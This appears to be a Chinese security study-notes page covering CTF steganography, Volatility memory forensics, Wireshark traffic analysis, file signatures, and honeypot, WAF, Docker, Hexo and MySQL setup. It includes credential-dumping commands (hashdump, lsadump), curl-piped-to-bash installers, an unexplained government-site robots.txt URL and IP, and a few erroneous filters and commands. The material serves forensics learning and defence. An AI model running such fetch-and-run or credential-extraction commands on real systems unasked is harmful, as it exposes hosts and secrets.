n – 启用检查JPEG文件头功能,以降低误报率。如果启用,所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1,则禁用OutGuess检测。

s – 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。

d – 打印带行号的调试信息。

t – 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下:

j – 检测图像中的信息是否是用jsteg嵌入的。

o – 检测图像中的信息是否是用outguess嵌入的。

p – 检测图像中的信息是否是用jphide嵌入的。

i – 检测图像中的信息是否是用invisible secrets嵌入的。

梅花香自苦寒来(坐标画二维码)

提示图穷匕现,010打开,拉到最下方不是FF D9 ,搜FFD9 后面跟着一大串好像16进制的文本,进行16进制转字符串,得到很多坐标,用gnuplot,来绘制坐标得到二维码

1
2
3
4
5
6
7
8
9
10
11
12
#十六进制转文本
with open("E:\Desktop\data.txt", 'r') as h: # hex.txt为要转换的文本文件
val = h.read()
h.close()

with open('result.txt', 'w') as re: # 转换完成后写入result.txt
tem = ''
for i in range(0, len(val), 2):
tem = '0x' + val[i] + val[i+1]
tem = int(tem, base=16)
re.write(chr(tem))
re.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#转换成gnuplotTXt能看懂的格式
with open('result.txt', 'r') as res: # 坐标格式文件比如(7,7)
re = res.read()
res.close()

with open('gnuplotTxt.txt', 'w') as gnup: # 将转换后的坐标写入gnuplotTxt.txt
re = re.split()
tem = ''
for i in range(0, len(re)):
tem = re[i]
tem = tem.lstrip('(')
tem = tem.rstrip(')')
for j in range(0, len(tem)):
if tem[j] == ',':
tem = tem[:j] + ' ' + tem[j+1:]
gnup.write(tem + '\n')
gnup.close()

http://wenming.xinye.gov.cn/robots.txt

218.28.78.118

excel破解

下载xls文件有密码,改成rar,用010打开搜flag,直接用010打开xls文件会有乱码,但也能找到flag,一般ofiice文件都可以尝试把文件改成压缩包查看,同时有的压缩包文件可能是office文件转换的。

CTF{office_easy_cracked}

取证volatility

volatility参数

volatility -f 文件名 imageinfo 得到镜像的基本信息。
volatility -f 文件名 –profile=系统 pslist 查看进程信息
volatility -f 文件名 –profile=系统 pstree 查看进程树
volatility -f 文件名 –profile=系统 hashdump 查看用户名密码信息
volatility -f 文件名 –profile=系统 john 爆破密码
volatility -f 文件名 –profile=系统 lsadump 查看用户强密码
volatility -f 文件名 –profile=系统 svcscan 查看服务
volatility -f 文件名 –profile=系统 iehistory 查看IE浏览器历史记录
volatility -f 文件名 –profile=系统 netscan 查看网络连接
volatility -f 文件名 –profile=系统 cmdscan cmd历史命令
volatility -f 文件名 –profile=系统 consoles 命令历史记录
volatility -f 文件名 –profile=系统 cmdline 查看cmd输出, 获取命令行下运行的程序
volatility -f 文件名 –profile=系统 envars 查看环境变量,一般很多配合grep筛选,可也是使用-p指定pid
volatility -f 文件名 –profile=系统 filescan 查看文件
volatility -f 文件名 –profile=系统 notepad 查看当前展示的notepad内容
volatility -f 文件名 –profile=系统 hivelist 查看注册表配置单元
volatility -f 文件名 –profile=系统 userassist 查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等。
volatility -f 文件名 –profile=系统 clipboard 查看剪贴板的信息
volatility -f 文件名 –profile=系统 timeliner 最大程序提取信息
volatility -f 文件名 –profile=系统 Dumpregistry 提取日志文件
volatility -f 文件名 –profile=系统 dlllist 进程相关的dll文件列表
volatility -f 文件名 –profile=系统 memdump -p xxx –dump-dir=./ 提取进程
volatility -f 文件名 –profile=系统 dumpfiles -Q 0xxxxxxxx -D ./ 提取文件
volatility -f 文件名 –profile=系统 procdump -p pid -D ./ 转存可执行程序
volatility -f 文件名 –profile=系统 screenshot –dump-dir=./ 屏幕截图
volatility -f 文件名 –profile=系统 hivedump -o 0xfffff8a001032410 查看注册表键名
volatility -f 文件名 –profile=系统 printkey -K “xxxxxxx” 查看注册表键值
volatility -f /root/hacker.raw –profile=Win7SP1x64 filescan |grep Desktop 查看桌面文件

amcache 查看AmCache应用程序痕迹信息
apihooks 检测内核及进程的内存空间中的API hook
atoms 列出会话及窗口站atom表
atomscan Atom表的池扫描(Pool scanner)
auditpol 列出注册表HKLMSECURITYPolicyPolAdtEv的审计策略信息
bigpools 使用BigPagePoolScanner转储大分页池(big page pools)
bioskbd 从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出BIOS开机密码)
cachedump 获取内存中缓存的域帐号的密码哈希
callbacks 打印全系统通知例程
clipboard 提取Windows剪贴板中的内容
cmdline 显示进程命令行参数
cmdscan 提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息)
connections 打印系统打开的网络连接(仅支持Windows XP 和2003)
connscan 打印TCP连接信息
consoles 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息)
crashinfo 提取崩溃转储信息
deskscan tagDESKTOP池扫描(Poolscaner)
devicetree 显示设备树信息
dlldump 从进程地址空间转储动态链接库
dlllist 打印每个进程加载的动态链接库列表
driverirp IRP hook驱动检测
drivermodule 关联驱动对象至内核模块
driverscan 驱动对象池扫描
dumpcerts 提取RAS私钥及SSL公钥
dumpfiles 提取内存中映射或缓存的文件
dumpregistry 转储内存中注册表信息至磁盘
editbox 查看Edit编辑控件信息 (Listbox正在实验中)
envars 显示进程的环境变量
eventhooks 打印Windows事件hook详细信息
evtlogs 提取Windows事件日志(仅支持XP/2003)
filescan 提取文件对象(file objects)池信息
gahti 转储用户句柄(handle)类型信息
gditimers 打印已安装的GDI计时器(timers)及回调(callbacks)
gdt 显示全局描述符表(Global Deor Table)
getservicesids 获取注册表中的服务名称并返回SID信息
getsids 打印每个进程的SID信息
handles 打印每个进程打开的句柄的列表
hashdump 转储内存中的Windows帐户密码哈希(LM/NTLM)
hibinfo 转储休眠文件信息
hivedump 打印注册表配置单元信息
hivelist 打印注册表配置单元列表
hivescan 注册表配置单元池扫描
hpakextract 从HPAK文件(Fast Dump格式)提取物理内存数据
hpakinfo 查看HPAK文件属性及相关信息
idt 显示中断描述符表(Interrupt Deor Table)
iehistory 重建IE缓存及访问历史记录
imagecopy 将物理地址空间导出原生DD镜像文件
imageinfo 查看/识别镜像信息
impscan 扫描对导入函数的调用
joblinks 打印进程任务链接信息
kdbgscan 搜索和转储潜在KDBG值
kpcrscan 搜索和转储潜在KPCR值
ldrmodules 检测未链接的动态链接DLL
lsadump 从注册表中提取LSA密钥信息(已解密)
machoinfo 转储Mach-O 文件格式信息
malfind 查找隐藏的和插入的代码
mbrparser 扫描并解析潜在的主引导记录(MBR)
memdump 转储进程的可寻址内存
memmap 打印内存映射
messagehooks 桌面和窗口消息钩子的线程列表
mftparser 扫描并解析潜在的MFT条目
moddump 转储内核驱动程序到可执行文件的示例
modscan 内核模块池扫描
modules 打印加载模块的列表
multiscan 批量扫描各种对象
mutantscan 对互斥对象池扫描
notepad 查看记事本当前显示的文本
objtypescan 扫描窗口对象类型对象
patcher 基于页面扫描的补丁程序内存
poolpeek 可配置的池扫描器插件
printkey 打印注册表项及其子项和值
privs 显示进程权限
procdump 进程转储到一个可执行文件示例
pslist 按照EPROCESS列表打印所有正在运行的进程
psscan 进程对象池扫描
pstree 以树型方式打印进程列表
psxview 查找带有隐藏进程的所有进程列表
qemuinfo 转储 Qemu 信息
raw2dmp 将物理内存原生数据转换为windbg崩溃转储格式
screenshot 基于GDI Windows的虚拟屏幕截图保存
servicediff Windows服务列表(ala Plugx)
sessions _MM_SESSION_SPACE的详细信息列表(用户登录会话)
shellbags 打印Shellbags信息
shimcache 解析应用程序兼容性Shim缓存注册表项
shutdowntime 从内存中的注册表信息获取机器关机时间
sockets 打印已打开套接字列表
sockscan TCP套接字对象池扫描
ssdt 显示SSDT条目
strings 物理到虚拟地址的偏移匹配(需要一些时间,带详细信息)
svcscan Windows服务列表扫描
symlinkscan 符号链接对象池扫描
thrdscan 线程对象池扫描
threads 调查_ETHREAD 和_KTHREADs
timeliner 创建内存中的各种痕迹信息的时间线
timers 打印内核计时器及关联模块的DPC
truecryptmaster Recover 恢复TrueCrypt 7.1a主密钥
truecryptpassphrase 查找并提取TrueCrypt密码
truecryptsummary TrueCrypt摘要信息
unloadedmodules 打印卸载的模块信息列表
userassist 打印注册表中UserAssist相关信息
userhandles 转储用户句柄表
vaddump 转储VAD数据为文件
vadinfo 转储VAD信息
vadtree 以树形方式显示VAD树信息
vadwalk 显示遍历VAD树
vboxinfo 转储Virtualbox信息(虚拟机)
verinfo 打印PE镜像中的版本信息
vmwareinfo 转储VMware VMSS/VMSN 信息
volshell 内存镜像中的shell
windows 打印桌面窗口(详细信息)
wintree Z顺序打印桌面窗口树
wndscan 池扫描窗口站
yarascan 以Yara签名扫描进程或内核内存

1.例子(忘了是哪个比赛的题目了)

你作为 A 公司的应急响应人员,请分析提供的内存文件按照下面的要求找到 相关关键信息,完成应急响应事件。

1、从内存中获取到用户admin的密码并且破解密码,以Flag{admin,password} 形式提交(密码为 6 位);

2、获取当前系统 ip 地址及主机名,以 Flag{ip:主机名}形式提交;

3、获取当前系统浏览器搜索过的关键词,作为 Flag 提交;

4、当前系统中存在挖矿进程,请获取指向的矿池地址,以 Flag{ip:端口}形式 提交;

5、恶意进程在系统中注册了服务,请将服务名以 Flag{服务名}形式提交。

上题已经看到进程

解析
1.从内存中获取到用户admin的密码并且破解密码,以Flag{admin,password} 形式提交(密码为 6 位);
不管什么题内存取证的第一步肯定是去判断当前的镜像信息,分析出是哪个操作系统 使用参数 imageinfo 查看系统信息

  volatility -f 1.vmem imageinfo

操作系统我们一般取第一个就可以了

接下来就可以输入参数

可以先查看当前内存镜像中的用户

volatility -f 1.vmem –profile=Win7SP1x64 printkey -K “SAM\Domains\Account\Users\Names”

使用hashdump获取sam

volatility -f 1.vmem –profile=Win7SP1x64 hashdump

可以通过john工具来进行爆破,但是好像跑不出来结果。应该是设定了强密码。于是只能使用了lasdump命令来查看

volatility -f 1.vmem –profile=Win7SP1x64 lsadump

flag{admin.dfsddew}

2.获取当前系统 ip 地址及主机名,以 Flag{ip:主机名}形式提交;
Netscan 可以查ip

volatility -f 1.vmem –profile=Win7SP1x64 netscan

Ip:192.168.85.129

主机名需要通过查询注册表,先用hivelist

Volatility -f 1.vmem –profile=Win7SP1x64 hivelist

然后我们需要一步一步去找键名

volatility -f 1.vmem –profile=Win7SP1x64 -o 0xfffff8a000024010 printkey

volatility -f 1.vmem –profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K “ControlSet001”

继续

volatility -f 1.vmem –profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K “ControlSet001\Control “

继续

volatility -f 1.vmem –profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K “ControlSet001\Control\ComputerName”

再来

volatility -f 1.vmem –profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K “ControlSet001\Control\ComputerName\ComputerName”

得到主机名WIN-9FBAEH4UV8C

也可以直接通过 hivedump查询相应的键名 但比较慢

volatility -f 1.vmem –profile=Win7SP1x64 hivedump -o 0xfffff8a000024010 > system.txt

3.获取当前系统浏览器搜索过的关键词,作为 Flag 提交;
这里使用iehistory

volatility -f 1.vmem –profile=Win7SP1x64 iehistory

flag{admin@file:///C:/Users/admin/Desktop/flag.txt}

4.当前系统中存在挖矿进程,请获取指向的矿池地址,以 Flag{ip:端口}形式 提交;
volatility -f 1.vmem –profile=Win7SP1x64 netscan

唯一一个已建立的

flag{54.36.109.161:2222}

5.恶意进程在系统中注册了服务,请将服务名以 Flag{服务名}形式提交。
上一题中已经知道了进程号为2588

volatility -f 1.vmem –profile=Win7SP1x64 pslist -p 2588

查到父进程是3036

然后在通过通过svcscan可以查询服务名称,找到对应服务名

volatility -f 1.vmem –profile=Win7SP1x64 svcscan

flag{VMnetDHCP}

wireshark的使用

1.使用wireshark进行抓包,学会用混淆模式抓包

2.(1)过滤器使用时 过滤arp udp tcp dns http等协议时要输入小写字母进行过滤

​ (2)对ip进行过滤:ip.src_host == 192.168.1.53 表示源 IP 地址

​ ip.dst_host == 192.168.1.1 表示目的地址

​ (3)or和and的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
基于名称的HTTP显示过滤器
1、让wireshark只显示访问某指定域名(www.bt2bn.cn)的HTTP请求数据包:http.host == “www.bt2bn.cn”.

2、让wireshark只显示访问包含了指定字符串的域名(比如,包含bt2bn的域名)的HTTP请求数据包:http.host contains “bt2bn”.

3、让wireshark只显示Referer头部内容为“http://www.bt2bn.cn/“的HTTP请求数据包:http.referer == “http://www.bt2bn.cn/”

基于HTTP请求方法的显示过滤器
1、要让wireshark显示包含GET请求的所有HTTP数据包,显示过滤器的写法为:http.request.method == GET。

2、要让Wireshark显示所有HTTP请求数据包,显示过滤器的写法为:http.request。

3、要让Wireshark显示所有HTTP响应数据包,显示过滤器的写法为:http.response。

4、要让Wireshark显示包含所有HTTP数据包,但包含GET方法的HTTP请求数据包除外,显示过滤器的写法为:http.request and not http.request.method == GET。

基于HTTP状态码的显示过滤器
1、要让Wireshark显示包含HTTP错误状态码的HTTP响应数据包:http.request.code >= 400。

2、要让Wireshark只显示包含HTTP客户端错误状态码的HTTP响应数据包:http.response.code >=400 and http.response.code <= 499。

3、要让Wireshark只显示包含HTTP服务器端错误状态码的HTTP响应数据包:http.response.code <=599。

4、要让Wireshark只显示状态码为404的HTTP响应数据包:http.response.code == 404。

5、过滤所有的http响应包:http.response==1

6、过滤所有的http请求,貌似也可以使用http.request:http.request==1

7、wireshark过滤所有请求方式为POST的http请求包,注意POST为大写:http.request.method==POST

8、过滤含有指定cookie的http数据包:http.cookie contains guid

9、过滤请求的uri,取值是域名后的部分:http.request.uri==”/online/setpoint”

10、过滤含域名的整个url则需要使用http.request.full_uri:http.request.full_uri==” http://task.browser.360.cn/online/setpoint”

11、过滤http头中server字段含有nginx字符的数据包:http.server contains “nginx”

12、过滤content_type是text/html的http响应、post包,即根据文件类型过滤http数据包:http.content_type == “text/html”

13、过滤content_encoding是gzip的http包:http.content_encoding == “gzip”

14、根据transfer_encoding过滤:http.transfer_encoding == “chunked”

15、根据content_length的数值过滤:http.content_length == 279 或 http.content_length_header == “279″

16、过滤所有含有http头中含有server字段的数据包:http.server

17、过滤HTTP/1.1版本的http包,包括请求和响应:http.request.version == “HTTP/1.1″

18、过滤http响应中的phrase:http.response.phrase == “OK”

19、显示前1000个数据包:fream.number <= 1000

20、显示序列号10-20内的数据包:fream.number <= 10 and fream.number <= 20

​ 我们中间用 or 进行了拼接,表示或 当然我们也可以使用 and 表示与,or 表示满足左右其中一个条 件就会显示符合条件的数据包,and 表示左右 2 个条件都满足才会显示

3.常用协议分析。

​ icmp,http,tcp,dns

常见流量分析题目

1. 直接搜flag(flag明文)
2.flag(编码)

flag十六进制:666c6167

asiic转Unicode:

1
&#102;&#108;&#97;&#103;

base64: Zmxh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# encoding:utf-8
import os
import os.path
import sys
import subprocess


# 打印可打印字符串
def str_re(str1):
str2 = ""
for i in str1.decode('utf8', 'ignore'):
try:
# print(ord(i))
if ord(i) <= 126 and ord(i) >= 33:
str2 += i
except:
str2 += ""
# print(str2)
return str2


# 写入文本函数
def txt_wt(name, txt1):
with open("output.txt", "a") as f:
f.write('filename:' + name)
f.write("\n")
f.write('flag:' + txt1)
f.write("\n")


# 第一次运行,清空output文件
def clear_txt():
with open("output.txt", "w") as f:
print("clear output.txt!!!")


# 递归遍历的所有文件
def file_bianli():
# 路径设置为当前目录
path = os.getcwd()
# 返回文件下的所有文件列表
file_list = []
for i, j, k in os.walk(path):
for dd in k:
if ".py" not in dd and "output.txt" not in dd:
file_list.append(os.path.join(i, dd))
return file_list


# 查找文件中可能为flag的字符串

def flag(file_list, flag):
for i in file_list:
try:
with open(i, "rb") as f:
for j in f.readlines():
j1 = str_re(j) # 可打印字符串
# print j1
for k in flag:
if k in j1:
txt_wt(i, j1)
print('filename:', i)
print('flag:', j1)
except:
print('err')


#这里可以自行添加一些flag编码后的形式
flag_txt = ['flag{', '666c6167', 'flag', 'Zmxh', '&#102', '666C6167']

# 清空输出的文本文件
clear_txt()
# 遍历文件名
file_lt = file_bianli()
# 查找flag关键字
flag(file_lt, flag_txt)


3.压缩包

找到压缩包对应的字节流

红色就是发送包,蓝色就是返回包

菜刀流量的一个特征应该是有 X@Y

4、不可打印字符(telnet协议)
5.蓝牙协议
6.usb键盘鼠标流量
7.无线流量
8.流量包修复

题目:第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag

WP:https://www.cnblogs.com/ECJTUACM-873284962/p/9884447.html

首先我们拿到这样一道流量包的题目,题目名称为 find the flag 。这里面给了很多提示信息,要我们去找到 flag

第一步,搜索 flag 字样

我们先去搜索看看流量包里面有没有 flag 。我们使用 strings 命令去找一下流量包, Windows 的朋友可以用 notepad++ 的搜索功能去寻找。

搜索命令如下:

1
strings findtheflag.cap | grep flag

搜索结果如下:

我们发现搜出了一大堆的东西,我们通过管道去过滤出 flag 信息,似乎没有发现我们所需要找的答案。

第二步,流量包修复

我们用 wireshark 打开这个流量包

我们发现这个流量包出现了异常现象,我们可以修复一下这个流量包。

这里我们用到一个在线工具:http://f00l.de/hacking/pcapfix.php

这个工具可以帮助我们快速地将其流量包修复为 pcap 包。

我们对其进行在线修复。

修复完毕后点击 Get your repaired PCAP-file here. 即可下载流量包,然后我们用 wireshark 打开。

既然还是要找 flag ,我们可以先看看这个流量包。

第三步,追踪 TCP 流

我们追踪一下 TCP 流,看看有没有什么突破?

我们通过追踪 TCP 流,可以看到一些版本信息, cookie 等等,我们还是发现了一些很有意思的东西。

tcp.stream eq 29tcp.stream eq 41 只显示了 where is the flag? 这个字样,难道这是出题人在告诉我们 flag 在这里嘛?

第四步,查找分组字节流

我们追踪到 tcp.stream eq 29 的时候,在 Identification 信息中看到了 flag 中的 lf 字样,我们可以继续追踪下一个流,在 tcp.stream eq 30Identification 信息中看到了 flag 中的 ga 字样,我们发现将两个包中 Identification 信息对应的字段从右至左组合,恰好就是 flag !于是我们可以大胆地猜测, flag 肯定是藏在这里面。

我们直接通过搜索 -> 字符串搜索 -> 分组字节流 -> 搜索关键字 flag 即可,按照同样的方式连接后面相连数据包的 Identification 信息对应的字段,即可找到最终的 flag!

下面是搜索的截图:

所以最终的 flag 为:flag{aha!_you_found_it!}

sql盲注

提取数据

1
tshark -r hack.pcap -T fields -e http.request.full_uri|tr -s '\n'|grep flag > log

处理数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re

with open('log') as f:
tmp = f.read()
flag = ''
data = re.findall(r'=(\d*)%23',tmp)
data = [int(i) for i in data]
for i,num in enumerate(data):
try:
if num > data[i+1]:
flag += chr(num)
except Exception:
pass
print flag

一、文件头文件尾

1、图片
  • JPEG 文件头:FF D8 FF 文件尾:FF D9
  • TGA 未压缩的前4字节 00 00 02 00 RLE压缩的前5字节 00 00 10 00 00
  • PNG 文件头:89 50 4E 47 0D 0A 1A 0A 文件尾:AE 42 60 82
  • GIF 文件头:47 49 46 38 39(37) 61 文件尾:00 3B
  • BMP 文件头:42 4D 文件头标识(2 bytes) 42(B) 4D(M)
  • TIFF (tif) 文件头:49 49 2A 00
  • ico 文件头:00 00 01 00
  • Adobe Photoshop (psd) 文件头:38 42 50 53
2、office文件
  • MS Word/Excel (xls.or.doc) 文件头:D0 CF 11 E0
  • MS Access (mdb) 文件头:53 74 61 6E 64 61 72 64 20 4A
  • WordPerfect (wpd) 文件头:FF 57 50 43
  • Adobe Acrobat (pdf) 文件头:25 50 44 46 2D 31 2E
  • application/vnd.visio(vsd) 文件头:D0 CF 11 E0 A1 B1 1A E1
  • Email [thorough only] (eml) 文件头:44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A
  • Outlook Express (dbx) 文件头:CF AD 12 FE C5 FD 74 6F
  • Outlook (pst) 文件头:21 42 44 4E
  • Rich Text Format (rtf) 文件头:7B 5C 72 74 66
  • txt 文件(txt) 文件头:Unicode:FE FF / Unicode big endian:FF FE / UTF-8:EF BB BF /ANSI编码是没有文件头的
3、压缩包文件
  • ZIP Archive (zip) 文件头:50 4B 03 04 文件尾:50 4B
  • RAR Archive (rar) 文件头:52 61 72 21
4、音频文件
  • Wave (wav) 文件头:57 41 56 45
  • audio(Audio) 文件头: 4D 54 68 64
  • audio/x-aac(aac)
  • 文件头:FF F1(9)
5、视频文件
  • AVI (avi) 文件头:41 56 49 20
  • Real Audio (ram) 文件头:2E 72 61 FD
  • Real Media (rm) 文件头:2E 52 4D 46
  • MPEG (mpg) 文件头:00 00 01 BA(3)
  • Quicktime (mov) 文件头:6D 6F 6F 76
  • Windows Media (asf) 文件头:30 26 B2 75 8E 66 CF 11
  • MIDI (mid) 文件头:4D 54 68 64
6、代码文件
  • XML (xml) 文件头:3C 3F 78 6D 6C
  • HTML (html) 文件头:68 74 6D 6C 3E
  • Quicken (qdf) 文件头:AC 9E BD 8F
  • Windows Password (pwl) 文件头:E3 82 85 96
7、其他类型
  • windows证书文件(der) 文件头:30 82 03 C9
  • CAD (dwg) 文件头:41 43 31 30
  • Windows Shortcut (lnk) 文件头:4C 00 00 00
  • Windows reg(reg) 文件头:52 45 47 45 44 49 54 34

rar,zip伪加密

找到第24个字节,该字节尾数为4表示加密,0表示无加密,将尾数改为0即可破解伪加密。

H1ve平台搭建

H1ve最快捷的部署方式直接用docker搭建就好了,所以我们首先需要安装dockerdocker-compose

常见问题解决 Issues · D0g3-Lab/H1ve · GitHub

1.docker安装

centos
1
2
3
4
5
6
7
8
9
10
11
12
13
sudo yum install -y git (安装git,一会要拉取源代码)

yum update(升级一下yum,防止版本太低)

yum install -y yum-utils device-mapper-persistent-data lvm2 (安装必须的东西)

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo (设置yum源)

sudo yum install docker-ce (安装docker)

systemctl start docker (启动docker)

systemctl enable docker (设置开机自启)
ubuntu:

sudo apt-get update(更新一下)

sudo apt-get upgrade (更新一下)

sudo apt-get install docker.io -y (安装docker)

systemctl start docker (启动docker)

systemctl enable docker (设置开机自启)

2.docker-compose安装

ubuntucentos一样:

(下载并且安装)

curl -L “https://github.com/docker/compose/releases/download/1.27.2/docker-compose-$(uname -s)-$(uname -m)” -o /usr/local/bin/docker-compose

(赋予权限)

chmod +x /usr/local/bin/docker-compose

(查看版本,应该是1.2x.x)

docker-compose -version

3.安装H1ve(ubuntu和centos一样)

git clone https://github.com/D0g3-Lab/H1ve.git (拉取源代码)

cd H1ve (进入目录)

运行前要修改数据库版本

docker-compose -f single.yml up (跑起)

Hfish蜜罐搭建(docker)

1
2
3
4
docker images
docker search hfish
docker pull imdevops/hfish
docker run -d --name hfish -p 21:21 -p 22:22 -p 23:23 -p 69:69 -p 3306:3306 -p 5900:5900 -p 6379:6379 -p 8080:8080 -p 8081:8081 -p 8989:8989 -p 9000:9000 -p 9001:9001 -p 9200:9200 -p 11211:11211 --restart=always imdevops/hfish:latest

如何正确使用Docker出一道CTF题目 - Von的博客 | Von Blog (v0n.top)

hexo迁移

首先配置好git,node环境

设置github用户认证

1
2
git config --global user.name "你的名字"(注意前边是“- -global”,有两个横线)
git config --global user.email "你的邮箱"

npm换源

1
npm config set registry https://registry.npm.taobao.org/

安装hexo

1
npm install hexo-cli -g

进入 Blog 目录(拷贝到新电脑的目录),输入下面指令安装相关模块

1
2
3
npm installnpm install hexo-deployer-git --save  // 文章部署到 git 的模块(下面为选择安装)
npm install hexo-generator-feed --save // 建立 RSS 订阅
npm install hexo-generator-sitemap --save // 建立站点地图

hexo三连

HFfish

1. 放行端口或关闭防火墙

1
2
3
4
5
放通4433、4434端口命令
firewall-cmd --add-port=4433/tcp --permanent #(用于web界面启动)
firewall-cmd --add-port=4434/tcp --permanent #(用于节点与管理端通信)
firewall-cmd --reload

1
2
3
CentOS 7 关闭防火墙命令
systemctl stop firewalld.service #关闭防火墙
systemctl disable firewalld #禁止开机启动防火墙

2. 安装

1
bash <(curl -sS -L https://hfish.net/webinstall.sh)

雷池waf安装

1. 在线安装

复制以下命令执行,即可完成安装

1
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要使用华为云加速,可使用

1
CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

如果需要安装最新版本流式检测模式,可使用

1
STREAM=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"

碎遮 SZhe Scan

1
2
3
4
git clone https://github.com/Cl0udG0d/SZhe_Scan
cd SZhe_Scan
docker-compose up -d 或 docker-compose up --build
运行结束后访问 http://ip:5000

docker换源

1
2
3
4
5
6
7
8
9
10
error; pulling image configuration: download failed after attempts=6: dial tcp 104.16.100.207:443: i/o timeout

sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://yxzrazem.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

防火墙常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.systemctl start firewalld.service(开启防火墙)

2.systemctl stop firewalld.service(关闭防火墙)

3.service firewalld restart(从启防火墙)

4.firewall-cmd --zone=public --add-port=4400-4600/udp --permanen(指定端口范围为4400-4600通过防火墙)

Warning: ALREADY_ENABLED: 3306:tcp(说明3306端口通过成功)

5.firewall-cmd --zone=public --remove-port=80/tcp --permanent(关闭指定端口)

6.firewall-cmd --zone=public --list-ports(查看通过的端口)

Windows下如何查看某个端口被谁占用

这里我们以8081端口为例讲解。

  1. 按下Win+R调出命令行窗口,输入netstat -aon|findstr “8081”,找到指定行最后一列的数字(PID),我们这里是9548.
  2. 输入tasklist|findstr “9548”,发现是javaw.exe占用了8081端口。
  3. 再次输入taskkill /f /t /im javaw.exe结束该进程。

hexo迁移

首先配置好git,node环境

设置github用户认证

1
2
git config --global user.name "你的名字"(注意前边是“- -global”,有两个横线)
git config --global user.email "你的邮箱"

npm换源

1
npm config set registry https://registry.npm.taobao.org/

安装hexo

1
npm install hexo-cli -g

进入 Blog 目录(拷贝到新电脑的目录),输入下面指令安装相关模块

1
2
3
npm installnpm install hexo-deployer-git --save  // 文章部署到 git 的模块(下面为选择安装)
npm install hexo-generator-feed --save // 建立 RSS 订阅
npm install hexo-generator-sitemap --save // 建立站点地图

hexo三连

hexo图片显示

  1. 新建博文可以不用hexo new xxx指令,我较为推荐直接新建文件和文件夹的方式,只要达到一个md文件,一个同名文件夹的效果即可;
  2. 【将_config.yml 文件中的post_asset_folder 选项设为 true 】是必须的!理论上既然没用hexo new xxx指令,文件夹也是我自己新建的,这一步设置的意义似乎并不存在,但是后文介绍的插件必须在post_asset_folder 选项设为 true的情况下才能生效
1
2
在使用 hexo-asset-image 管理图片的时候,发生了路径错误
换用 npm install hexo-asset-img --save

基础

一.数据库的基本操作

MySQL安装完成后,要想将数据存储到数据库的表中,首先要创建一个数据库。创 建数据库就是在数据库系统中划分一块空间存储数据,语法如下:

1
create database 数据库名称;

创建一个叫db1的数据库MySQL命令:

1
2
-- 创建一个叫db1的数据库
show create database db1;

创建数据库后查看该数据库基本信息MySQL命令:

1
show create database db1;

删除数据库MySQL命令:

1
drop database db1;

查询出MySQL中所有的数据库MySQL命令:

1
show databases;

将数据库的字符集修改为gbk MySQL命令

1
alter database db1 character set gbk;

切换数据库 MySQL命令:

1
use db1;

查看当前使用的数据库 MySQL命令:

1
select database();

二.数据表的基本操作

数据库创建成功后可在该数据库中创建数据表(简称为表)存储数据。请注意:在操作数据表之前应使用“USE 数据库名;”指定操作是在哪个数据库中进行先关操作,否则会抛出“No database selected”错误。
语法如下:

1
2
3
4
5
6
7
 create table 表名(
字段1 字段类型,
字段2 字段类型,

字段n 字段类型
);
123456

2.1 创建数据表

示例:创建学生表 MySQL命令:

1
2
3
4
5
6
create table student(
id int,
name varchar(20),
gender varchar(10),
birthday date
);

2.2 查看数据表

示例:查看当前数据库中所有表 MySQL命令:

1
show tables;

示例:查表的基本信息 MySQL命令:

1
show create table student;

示例:查看表的字段信息 MySQL命令:

1
desc student;

2.3 修改数据表

有时,希望对表中的某些信息进行修改,例如:修改表名、修改字段名、修改字段 数据类型…等等。在MySQL中使用alter table修改数据表.
示例:修改表名 MySQL命令:

1
alter table student rename to stu;

示例:修改字段名 MySQL命令:

1
alter table stu change name sname varchar(10);

示例:修改字段数据类型 MySQL命令:

1
alter table stu modify sname int;

示例:增加字段 MySQL命令:

1
alter table stu add address varchar(50);

示例:删除字段 MySQL命令:

1
alter table stu drop address;

2.4 删除数据表

语法:

1
drop table 表名;

示例:删除数据表 MySQL命令:

1
drop table stu;

五、数据表的约束

为防止错误的数据被插入到数据表,MySQL中定义了一些维护数据库完整性的规则;这些规则常称为表的约束。常见约束如下:

约束条件 说明
PRIMARY KEY 主键约束用于唯一标识对应的记录
FOREIGN KEY 外键约束
NOT NULL 非空约束
UNIQUE 唯一性约束
DEFAULT 默认值约束,用于设置字段的默认值
以上五种约束条件针对表中字段进行限制从而保证数据表中数据的正确性和唯一性。换句话说,表的约束实际上就是表中数据的限制条件。

1.主键约束

